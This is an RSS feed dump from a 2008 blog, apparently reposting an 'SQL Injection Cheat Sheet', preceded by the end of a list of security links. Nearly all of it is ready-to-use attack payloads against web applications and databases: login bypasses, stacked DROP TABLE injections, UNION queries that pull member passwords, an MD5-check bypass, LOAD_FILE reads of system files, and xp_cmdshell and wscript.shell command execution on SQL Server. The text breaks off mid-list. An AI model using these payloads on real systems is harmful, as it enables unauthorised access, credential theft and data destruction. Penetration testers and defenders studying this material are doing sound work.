</LI><LI><A href="http://snakeoillabs.com/downloads/GHDB.xml"><FONT color=#0066cc><U>http://snakeoillabs.com/downloads/GHDB.xml</U></FONT></A> 
</LI><LI><A href="http://www.eccouncil.org/Course-Outline/Ethical%20Hacking%20and%20Countermeasures%20Course.htm"><FONT color=#0066cc><U>http://www.eccouncil.org/Course-Outline/Ethical%20Hacking%20and%20Countermeasures%20Course.htm</U></FONT></A> 
</LI><LI><A href="http://www.owasp.org/index.php/OWASP_Testing_Project"><FONT color=#0066cc><U>http://www.owasp.org/index.php/OWASP_Testing_Project</U></FONT></A> 
</LI><LI><A href="http://www.red-database-security.com/"><FONT color=#0066cc><U>http://www.red-database-security.com</U></FONT></A> 
</LI><LI><A href="http://www.petefinnigan.com/"><FONT color=#0066cc><U>http://www.petefinnigan.com</U></FONT></A> 
</LI><LI><A href="http://www.microsoft.com/technet/itshowcase/content/attackandpenetest.mspx"><U><FONT color=#0066cc>http://www.microsoft.com/technet/itshowcase/content/attackandpenetest.mspx</FONT></U></A> </LI></OL>
<H1><STRONG><A title=6 ></A>FAQ集</STRONG></H1></STRONG></H1></DIV></DIV></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/31798557200841734057201</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/31798557200841734057201</guid>
    <pubDate>Sat, 17 May 2008 15:40:57 +0800</pubDate>
    <dcterms:modified>2008-05-17T15:40:57+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[SQL Injection Cheat Sheet]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200841310419212</link>
    <description><![CDATA[<div><H2><A ></A>Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks </H2>
<H3 ><A ></A>Ending / Commenting Out / Line Comments </H3>
<H4><A ></A>Line Comments </H4>
<P ><STRONG>Comments out rest of the query.</STRONG><BR>Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.</P>
<UL type=disc>
<LI><CODE>-- </CODE>(SM)<CODE><BR>DROP sampletable;<SPAN >--</SPAN><BR><BR></CODE>
</LI><LI><CODE># </CODE>(M)<CODE><BR>DROP sampletable;<SPAN >#</SPAN></CODE> </LI></UL>
<H5><A ></A>Line Comments Sample SQL Injection Attacks</H5>
<UL type=disc>
<LI><SPAN >Username:</SPAN><CODE> admin<SPAN >'--</SPAN> </CODE>
</LI><LI><CODE>SELECT * FROM members WHERE username = '<SPAN >admin'--</SPAN><SPAN >' AND password = 'password'</SPAN><BR></CODE><SPAN >This is going to log you as admin user, because rest of the SQL query will be ignored.</SPAN> </LI></UL>
<H4><A ></A>Inline Comments</H4>
<P ><STRONG>Comments out rest of the query by not closing them</STRONG> or you can use for <STRONG>bypassing blacklisting</STRONG>, removing spaces, obfuscating and determining database versions.</P>
<UL type=disc>
<LI><CODE>/*Comment Here*/</CODE> (SM) 
<UL>
<LI><CODE>DROP<SPAN >/*comment*/</SPAN>sampletable</CODE> 
</LI><LI><CODE>DR<SPAN >/**/</SPAN>OP<SPAN >/*bypass blacklisting*/</SPAN>sampletable</CODE> 
</LI><LI><CODE>SELECT<SPAN >/*avoid-spaces*/</SPAN>password<SPAN >/**/</SPAN>FROM<SPAN >/**/</SPAN>Members</CODE><BR><BR></LI></UL>
</LI><LI><CODE>/*! MYSQL Special SQL *</CODE>/ (M)<BR><SPAN >This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.</SPAN><BR><BR><CODE>SELECT <SPAN >/*!<STRONG>32302</STRONG> 1/0, */</SPAN> 1 FROM tablename</CODE> </LI></UL>
<H5><A ></A>Classical Inline Comment SQL Injection Attack Samples </H5>
<UL type=disc>
<LI><SPAN >ID:</SPAN> <CODE>10; DROP TABLE members <SPAN >/*</SPAN></CODE><BR><SPAN >Simply get rid of other stuff at the end the of query. Same as <CODE>10; DROP TABLE members <SPAN >--</SPAN></CODE></SPAN><BR><BR>
</LI><LI><CODE>SELECT <SPAN >/*!<STRONG>32302</STRONG> 1/0, */</SPAN> 1 FROM tablename</CODE><BR><SPAN >Will throw an <STRONG>divison by 0 error </STRONG>if MySQL version is higher than <STRONG>3.23.02</STRONG></SPAN> </LI></UL>
<H5><A ></A>MySQL Version Detection Sample Attacks</H5>
<UL type=disc>
<LI><SPAN >ID:</SPAN> <SPAN ><CODE>/*!</CODE></SPAN><CODE><STRONG>32302</STRONG> 10<SPAN >*/</SPAN> </CODE>
</LI><LI><SPAN >ID:</SPAN> <CODE>10</CODE><BR><SPAN >You will get the <STRONG>same response</STRONG> if MySQL version is higher than <STRONG>3.23.02</STRONG></SPAN><BR><BR>
</LI><LI><CODE>SELECT <SPAN >/*!<STRONG>32302</STRONG> 1/0, */</SPAN> 1 FROM tablename</CODE><BR><SPAN >Will throw an <STRONG>divison by 0 error </STRONG>if MySQL version is higher than <STRONG>3.23.02</STRONG></SPAN> </LI></UL>
<H3><A ></A>Stacking Queries </H3>
<P ><STRONG>Executing more than one query in one transaction</STRONG>. This is very useful in every injection point, especially in SQL Server back ended applications. </P>
<UL type=disc>
<LI><CODE>;</CODE> (S)<BR><CODE>SELECT * FROM members<SPAN >; DROP members--</SPAN></CODE> </LI></UL>
<P >Ends a query and starts a new one.</P>
<H4><A ></A>Language / Database Stacked Query Support Table </H4>
<P ><STRONG>green:</STRONG> supported, <STRONG>dark gray:</STRONG> not supported, <STRONG>light gray: </STRONG>unknown </P>
<TABLE cellSpacing=1 cellPadding=5 bgColor=#cccccc border=0>
<TBODY>
<TR>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#ffffff><STRONG>SQL Server </STRONG></TD>
<TD bgColor=#ffffff><STRONG>MySQL</STRONG></TD>
<TD bgColor=#ffffff><STRONG>PostgreSQL</STRONG></TD>
<TD bgColor=#ffffff><STRONG>ORACLE</STRONG></TD>
<TD bgColor=#ffffff><STRONG>MS Access </STRONG></TD></TR>
<TR>
<TD bgColor=#ffffff><STRONG>ASP</STRONG></TD>
<TD bgColor=#99cc00>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#333333>&nbsp;</TD></TR>
<TR>
<TD bgColor=#ffffff><STRONG>ASP.NET</STRONG></TD>
<TD bgColor=#99cc00>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#333333>&nbsp;</TD></TR>
<TR>
<TD bgColor=#ffffff><STRONG>PHP</STRONG></TD>
<TD bgColor=#99cc00>&nbsp;</TD>
<TD bgColor=#333333>&nbsp;</TD>
<TD bgColor=#99cc00>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#333333>&nbsp;</TD></TR>
<TR>
<TD bgColor=#ffffff><STRONG>Java</STRONG></TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#f7f7f7>&nbsp;</TD>
<TD bgColor=#333333>&nbsp;</TD>
<TD bgColor=#333333>&nbsp;</TD></TR></TBODY></TABLE>
<P >&nbsp;</P>
<P ><STRONG><A ></A>About MySQL and PHP;</STRONG><BR>To clarify some issues;<BR><STRONG>PHP - MySQL doesn't support stacked queries</STRONG>, Java doesn't support stacked queries (<EM>I'm sure for ORACLE, not quite sure about other databases</EM>). <EM>Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?</EM></P>
<H5><A ></A>Stacked SQL Injection Attack Samples </H5>
<UL type=disc>
<LI><SPAN >ID:</SPAN> <CODE>10;DROP members --</CODE> 
</LI><LI><CODE>SELECT * FROM products WHERE id = 10<SPAN >; DROP members--</SPAN></CODE> </LI></UL>
<P >This will run <EM>DROP members</EM> SQL sentence after normal SQL Query.<BR></P>
<H3><A ></A>If Statements </H3>
<P >Get response based on a if statement. This is <STRONG>one of the key points of Blind SQL Injection</STRONG>, also can be very useful to test simple stuff blindly and <STRONG>accurately</STRONG>.</P>
<H4><A ></A>MySQL If Statement</H4>
<UL>
<LI><CODE>IF(<STRONG><EM>condition</EM>,<EM>true-part</EM>,<EM>false-part</EM></STRONG>) </CODE>(M)<CODE><BR>SELECT IF(1=1,'true','false')</CODE> </LI></UL>
<H4><A ></A>SQL Server If Statement </H4>
<UL>
<LI><CODE>IF <STRONG><EM>condition</EM></STRONG> <STRONG><EM>true-part</EM></STRONG> ELSE <STRONG><EM>false-part</EM></STRONG></CODE> (S)<BR><CODE>IF (1=1) SELECT 'true' ELSE SELECT 'false'</CODE> </LI></UL>
<H5><A ></A>If Statement SQL Injection Attack Samples </H5>
<P><CODE>if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0</CODE> (S)<BR><SPAN >This will throw an <STRONG>divide by zero error</STRONG> if current logged user is not <STRONG>"sa" or "dbo"</STRONG>.</SPAN></P>
<H3><A ></A>Using Integers </H3>
<P >Very useful for bypassing, <STRONG>magic_quotes() and similar filters</STRONG>, or even WAFs. </P>
<UL type=disc>
<LI><CODE>0x<EM>HEXNUMBER</EM></CODE> (SM)<BR><SPAN >You can &nbsp;write hex like these;</SPAN><BR><BR><CODE>SELECT CHAR(0x66)</CODE> (S)<BR><CODE>SELECT 0x5045</CODE> <SPAN >(<EM>this is not an integer it will be a string from Hex</EM>)</SPAN> (M)<BR><CODE>SELECT 0x50 + 0x45</CODE> <SPAN >(<EM>this is integer now!</EM>)</SPAN> (M) </LI></UL>
<H3><A ></A>String &nbsp;Operations </H3>
<P >String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.</P>
<H4><A ></A>String Concatenation </H4>
<UL type=disc>
<LI><CODE>+</CODE> (S)<BR><CODE>SELECT login <SPAN >+ '-' +</SPAN> password FROM members</CODE><BR><BR>
</LI><LI><CODE>||</CODE> (*MO)<BR><CODE>SELECT login <SPAN >|| '-' ||</SPAN> password FROM members </CODE></LI></UL>
<P ><STRONG>*About MySQL "||";</STRONG><BR>If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using <CODE>CONCAT()</CODE> function in MySQL.</P>
<UL type=disc>
<LI><CODE>CONCAT(str1, str2, str3, ...)</CODE> (M)<BR><SPAN >Concatenate supplied strings.</SPAN> <BR><CODE>SELECT <SPAN >CONCAT(login, password)</SPAN> FROM members</CODE> </LI></UL>
<H3><A ></A>Strings without Quotes </H3>
<P >These are some direct ways to using strings but it’s always possible to use <CODE>CHAR()</CODE>(MS) and <CODE>CONCAT()</CODE>(M) to generate string without quotes.</P>
<UL type=disc>
<LI><CODE>0x457578</CODE> (M) - <SPAN >Hex Representation of string </SPAN><BR><CODE>SELECT 0x457578</CODE><BR><SPAN >This will be selected as string in MySQL.</SPAN><BR><BR><SPAN >In MySQL easy way to generate hex representations of strings use this;</SPAN><BR><CODE>SELECT CONCAT('0x',HEX('c:\\boot.ini'))</CODE><BR><BR>
</LI><LI><SPAN >Using <CODE>CONCAT()</CODE> in MySQL</SPAN><BR><CODE>SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))</CODE> (M)<BR><SPAN >This will return ‘KLM’.</SPAN><BR><BR>
</LI><LI><CODE>SELECT CHAR(75)+CHAR(76)+CHAR(77)</CODE> (S)<BR><SPAN >This will return ‘KLM’. </SPAN></LI></UL>
<H4><A ></A>Hex based SQL Injection Samples</H4>
<UL>
<LI><CODE>SELECT LOAD_FILE(<SPAN >0x633A5C626F6F742E696E69</SPAN>)</CODE> (M) <BR><SPAN >This will show the content of <STRONG>c:\boot.ini</STRONG></SPAN> </LI></UL>
<H3><A ></A>String Modification &amp; Related </H3>
<UL type=disc>
<LI><CODE>ASCII()</CODE> (SMP) <BR><SPAN >Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.</SPAN><BR><BR><CODE>SELECT ASCII('a')</CODE><BR><BR>
</LI><LI><CODE>CHAR()</CODE> (SM) <BR><SPAN >Convert an integer of ASCII.</SPAN><BR><BR><CODE>SELECT CHAR(64)</CODE> </LI></UL>
<H2><A ></A>Union Injections</H2>
<P >With union you do SQL queries cross-table. Basically you can poison query to return records from another table. </P>
<P><CODE>SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members </CODE><BR><SPAN >This will combine results from both news table and members table and return all of them. </SPAN></P>
<P><SPAN >Another Example : </SPAN><BR><CODE>' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--</CODE></P>
<H3><A ></A>UNION – Fixing Language Issues</H3>
<P >While exploiting Union injections sometimes you get errors because of different language settings (<EM>table settings, field settings, combined table / db settings etc.</EM>) these functions are quite useful to fix this problem. It's rare but if you dealing with <EM>Japanese, Russian, Turkish</EM> etc. applications then you will see it. </P>
<UL>
<LI>SQL Server (S) <BR>Use <SPAN ><CODE>field</CODE> <STRONG><CODE>COLLATE</CODE></STRONG><CODE> SQL_Latin1_General_Cp1254_CS_AS</CODE></SPAN> or some other valid one - <EM>check out SQL Server documentation</EM>.<BR><BR><CODE>SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members</CODE><BR><BR>
</LI><LI>MySQL (M) <BR><CODE>Hex() </CODE><SPAN >for every possible issue</SPAN> </LI></UL>
<H3><A ></A>Bypassing Login Screens (SMO+) </H3><SPAN ><EM>SQL Injection 101</EM>, Login tricks </SPAN>
<UL>
<LI><CODE>admin' -- </CODE>
</LI><LI><CODE>admin' # </CODE>
</LI><LI><CODE>admin'/*</CODE> 
</LI><LI><CODE>' or 1=1--</CODE> 
</LI><LI><CODE>' or 1=1#</CODE> 
</LI><LI><CODE>' or 1=1/*</CODE> 
</LI><LI><CODE>') or '1'='1--</CODE> 
</LI><LI><CODE>') or ('1'='1--</CODE> 
</LI><LI>.... </LI></UL>
<UL>
<LI>Login as different user (SM*) <BR><CODE>' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--</CODE> </LI></UL>
<P><EM>*Old versions of MySQL doesn't support union queries </EM></P>
<H3><A ></A>Bypassing second MD5 hash check login screens </H3>
<P >If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. </P>
<H4><A ></A>Bypassing MD5 Hash Check Example (MSP) </H4>
<P><SPAN >Username :</SPAN><CODE> admin</CODE><BR><SPAN >Password :</SPAN> <CODE>1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055</CODE></P>
<P><CODE>81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) </CODE></P>
<H3>&nbsp;</H3>
<H3>Error Based - Find Columns Names </H3>
<H4>Finding Column Names with <STRONG>HAVING BY</STRONG> - Error Based (S) </H4>
<P><EM>In the same order, </EM></P>
<UL>
<LI>'<CODE> HAVING 1=1 -- </CODE>
</LI><LI><CODE>' GROUP BY <STRONG >table.columnfromerror1</STRONG> HAVING 1=1 -- </CODE>
</LI><LI><CODE>' GROUP BY <STRONG >table.columnfromerror1, columnfromerror2</STRONG> HAVING 1=1 --</CODE> 
</LI><LI><CODE>' GROUP BY <STRONG >table.columnfromerror1, columnfromerror2, columnfromerror(n) </STRONG>HAVING 1=1 --</CODE> <EM>and so on</EM> 
</LI><LI>If you are not getting any more error then it's done. </LI></UL>
<H4>Finding how many columns in SELECT query by <STRONG>ORDER BY</STRONG> <STRONG>(MSO+)</STRONG></H4>
<P>Finding column number by ORDER BY can speed up the UNION SQL Injection process.</P>
<UL>
<LI><CODE>ORDER BY 1-- </CODE>
</LI><LI><CODE>ORDER BY 2--</CODE> 
</LI><LI><CODE>ORDER BY N--</CODE> <EM>so on</EM> 
</LI><LI>Keep going until get an error. Error means you found the number of selected columns. </LI></UL>
<H3>Data types, UNION, etc. </H3>
<H4>Hints,</H4>
<UL>
<LI>Always use <STRONG>UNION</STRONG> with <STRONG>ALL </STRONG>because of <STRONG>image</STRONG> similiar non-distinct field types. By default union tries to get records with distinct. 
</LI><LI>To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (<EM>if injection is in WHERE</EM>). This can be critical if you are only getting one result at a time. 
</LI><LI>Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc. 
<UL>
<LI>Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (<EM>because normally developers are not expecting to see NULL in a username field</EM>) </LI></UL></LI></UL>
<H4>Finding Column Type </H4>
<UL>
<LI><CODE>&nbsp;' union select <SPAN >sum(<STRONG>columntofind</STRONG>)</SPAN> from <STRONG>users</STRONG>--</CODE> (S) <BR><CODE>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' <BR>[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a <STRONG >varchar</STRONG> data type as an argument.</CODE><BR><BR><EM>If you are not getting error it means </EM>column is numeric. <BR><BR>
</LI><LI>Also you can use <SPAN >CAST()</SPAN> or <SPAN >CONVERT()</SPAN> 
<UL>
<LI><CODE>SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--</CODE><BR><BR></LI></UL>
</LI><LI><CODE>11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-</CODE><BR>No Error - Syntax is right. MS SQL Server Used. Proceeding.<BR><BR>
</LI><LI><CODE>11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-</CODE><BR>No Error – First column is an integer.<BR><BR>
</LI><LI><CODE>11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- </CODE><BR>Error! – Second column is not an integer.<BR><BR>
</LI><LI><CODE>11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-</CODE><BR>No Error – Second column is a string.<BR><BR>
</LI><LI><CODE>11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-</CODE><BR>Error! – Third column is not an integer. ...<BR><BR><CODE>Microsoft OLE DB Provider for SQL Server error '80040e07' <BR>Explicit conversion from data type <SPAN ><STRONG>int</STRONG> to image</SPAN> is not allowed.</CODE> </LI></UL>
<P><STRONG>You’ll get convert() errors before union target errors ! </STRONG>So<STRONG> </STRONG>start with<STRONG> </STRONG>convert() then union<STRONG></STRONG></P>
<H3>Simple Insert (MSO+) </H3><CODE>'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*</CODE> 
<H3>Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes</H3>
<P><STRONG>@@version</STRONG> (MS) <BR>Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions. </P>
<P><CODE>INSERT INTO members(id, user, pass) VALUES(1, ''+<SPAN >SUBSTRING(@@version,1,10)</SPAN> ,10)</CODE></P>
<H4><A ></A>Bulk Insert (S) </H4>
<P>Insert a file content to a table. If you don't know internal path of web application you can <STRONG>read IIS (</STRONG><EM>IIS 6 only</EM><STRONG>) metabase file </STRONG>(<EM>%systemroot%\system32\inetsrv\MetaBase.xml</EM>) and then search in it to identify application path. </P>
<OL>
<OL>
<LI>Create table foo( line varchar(8000) ) 
</LI><LI>bulk insert foo from 'c:\inetpub\wwwroot\login.asp' 
</LI><LI><EM>Drop temp table, and repeat for another file. </EM></LI></OL></OL>
<H4>BCP (S) </H4>
<P>Write text file. Login Credentials are required to use this function. <BR><CODE>bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar </CODE></P>
<H4>VBS, WSH in SQL Server (S) </H4>
<P>You can use VBS, WSH scripting in SQL Server because of ActiveX support. </P>
<P><CODE>declare @o int <BR>exec sp_oacreate 'wscript.shell', @o out <BR>exec sp_oamethod @o, 'run', NULL, 'notepad.exe' <BR></CODE><CODE><EM>Username:</EM> '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --<BR></CODE></P>
<H4>Executing system commands, xp_cmdshell (S) </H4>
<P>Well known trick, By default it's disabled in <EM>SQL Server 2005. </EM>You need to have admin access. </P>
<P><CODE>EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'</CODE><BR></P>
<P>Simple ping check (<EM>configure your firewall or sniffer to identify request before launch it</EM>), </P>
<P><CODE>EXEC master.dbo.xp_cmdshell 'ping &lt;ip address&gt;'</CODE></P>
<P>You can not read results directly from error or union or something else. </P>
<H4>Some Special Tables in SQL Server (S) </H4>
<UL>
<LI>Error Messages <BR><CODE>master..sysmessages </CODE><BR><BR>
</LI><LI>Linked Servers<BR><CODE>master..sysservers</CODE><BR><BR>
</LI><LI>Password (<EM>2000 and 20005 both can be crackable, they use very similar hashing algorithm </EM>) <BR>SQL Server 2000:<CODE> masters..sysxlogins</CODE><BR>SQL Server 2005 : <CODE>sys.sql_logins<BR></CODE></LI></UL>
<H4>More Stored Procedures for SQL Server (S) </H4>
<OL>
<LI>Cmd Execute (<STRONG>xp_cmdshell</STRONG>)<BR>exec master..xp_cmdshell 'dir' <BR><BR>
</LI><LI>Registry Stuff (<STRONG>xp_regread</STRONG>)<BR>
<OL>
<LI>xp_regaddmultistring 
</LI><LI>xp_regdeletekey 
</LI><LI>xp_regdeletevalue 
</LI><LI>xp_regenumkeys 
</LI><LI>xp_regenumvalues 
</LI><LI>xp_regread 
</LI><LI>xp_regremovemultistring 
</LI><LI>xp_regwrite <BR>exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' <BR>exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' <BR><BR></LI></OL>
</LI><LI>Managing Services (<STRONG>xp_servicecontrol</STRONG>)<BR>
</LI><LI>Medias (<STRONG>xp_availablemedia</STRONG>)<BR>
</LI><LI>ODBC Resources (<STRONG>xp_enumdsn</STRONG>)<BR>
</LI><LI>Login mode (<STRONG>xp_loginconfig</STRONG>)<BR>
</LI><LI>Creating Cab Files (<STRONG>xp_makecab</STRONG>)<BR>
</LI><LI>Domain Enumeration (<STRONG>xp_ntsec_enumdomains</STRONG>)<BR>
</LI><LI>Process Killing (<EM>need PID</EM>) (<STRONG>xp_terminate_process</STRONG>)<BR>
</LI><LI>Add new procedure (<EM>virtually you